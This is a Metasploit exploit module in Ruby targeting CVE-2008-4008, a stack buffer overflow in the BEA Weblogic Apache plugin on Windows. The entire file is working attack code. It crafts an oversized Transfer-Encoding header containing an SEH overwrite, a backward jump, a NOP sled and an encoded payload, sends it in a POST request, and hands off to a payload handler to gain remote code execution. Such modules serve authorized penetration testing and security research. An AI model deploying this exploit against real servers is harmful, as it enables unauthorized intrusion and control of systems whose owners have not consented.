BEA Weblogic - Transfer-Encoding Buffer Overflow (Metasploit)

##
# $Id: bea_weblogic_transfer_encoding.rb 9744 2010-07-08 23:34:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /Apache/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the BEA
				Weblogic Apache plugin.  This vulnerability exists in the
				error reporting for unknown Transfer-Encoding headers.
				You may have to run this twice due to timing issues with handlers.
			},
			'Author'         => 'pusscat',
			'Version'        => '$Revision: 9744 $',
			'References'     =>
				[
					[ 'CVE', '2008-4008' ],
					[ 'OSVDB', '49283' ],
					[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => true,
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0d\x0a",
					'StackAdjustment' => -1500,
				},
			'Targets'        =>
				[
					[  'Windows Apache 2.2 version Universal',
						{
							'Ret' => 0x1001f4d6,    #pop/pop/ret
						}
					],
				],
			'DisclosureDate' => 'Sept 09 2008',
			'DefaultTarget'  => 0))
	end

	def exploit

		sploit = rand_text_alphanumeric(5800)
		sploit[5781, 8] = generate_seh_record(target.ret)
		# Jump backward to the payload
		sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
		sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded

		datastore['VHOST'] = 'localhost'
		send_request_cgi(
			{
				'method'  => 'POST',
				'url'     => '/index.jsp',
				'data'    => '',
				'headers' =>
					{
						'Transfer-Encoding' => sploit
					}
			})

		handler

	end

end